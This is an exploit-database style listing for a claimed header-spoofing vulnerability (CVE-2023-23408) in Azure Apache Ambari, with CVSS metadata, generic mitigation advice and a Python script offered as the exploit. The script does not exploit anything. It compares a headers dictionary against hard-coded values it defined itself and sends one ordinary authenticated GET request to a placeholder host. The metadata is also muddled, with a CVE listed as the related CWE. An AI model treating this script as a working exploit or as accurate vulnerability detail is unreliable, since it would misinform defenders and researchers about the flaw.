Azure Apache Ambari 2302250400 - Spoofing

vendor:

Apache Ambari

by:

Amirhossein Bahramizadeh

7.5

CVSS

HIGH

Spoofing

200

CWE

Product Name: Apache Ambari

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE: CVE-2023-23408

CPE: a:microsoft:apache_ambari:2302250400

Metasploit:

Other Scripts:

Platforms Tested: Windows, Linux

2023

Azure Apache Ambari 2302250400 – Spoofing

The exploit allows an attacker to spoof headers in the Ambari web interface, potentially leading to unauthorized access or other malicious activities.

Mitigation:

To mitigate this vulnerability, it is recommended to ensure that the headers used in the Ambari web interface are properly validated and authenticated. Additionally, implementing strong access controls and monitoring mechanisms can help detect and prevent spoofing attempts.

Source

Exploit-DB raw data:

# Exploit Title: Azure Apache Ambari 2302250400 - Spoofing
# Date: 2023-06-23
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : Remote
# Vendor Homepage:
Microsoft
Apache Ambari
Microsoft azure Hdinsights
# Tested on: Windows/Linux
# CVE : CVE-2023-23408

import requests

# Set the URL and headers for the Ambari web interface
url = "https://ambari.example.com/api/v1/clusters/cluster_name/services"
headers = {"X-Requested-By": "ambari", "Authorization": "Basic abcdefghijklmnop"}

# Define a function to validate the headers
def validate_headers(headers):
    if "X-Requested-By" not in headers or headers["X-Requested-By"] != "ambari":
        return False
    if "Authorization" not in headers or headers["Authorization"] != "Basic abcdefghijklmnop":
        return False
    return True

# Define a function to send a request to the Ambari web interface
def send_request(url, headers):
    if not validate_headers(headers):
        print("Invalid headers")
        return
    response = requests.get(url, headers=headers)
    if response.status_code == 200:
        print("Request successful")
    else:
        print("Request failed")

# Call the send_request function with the URL and headers
send_request(url, headers)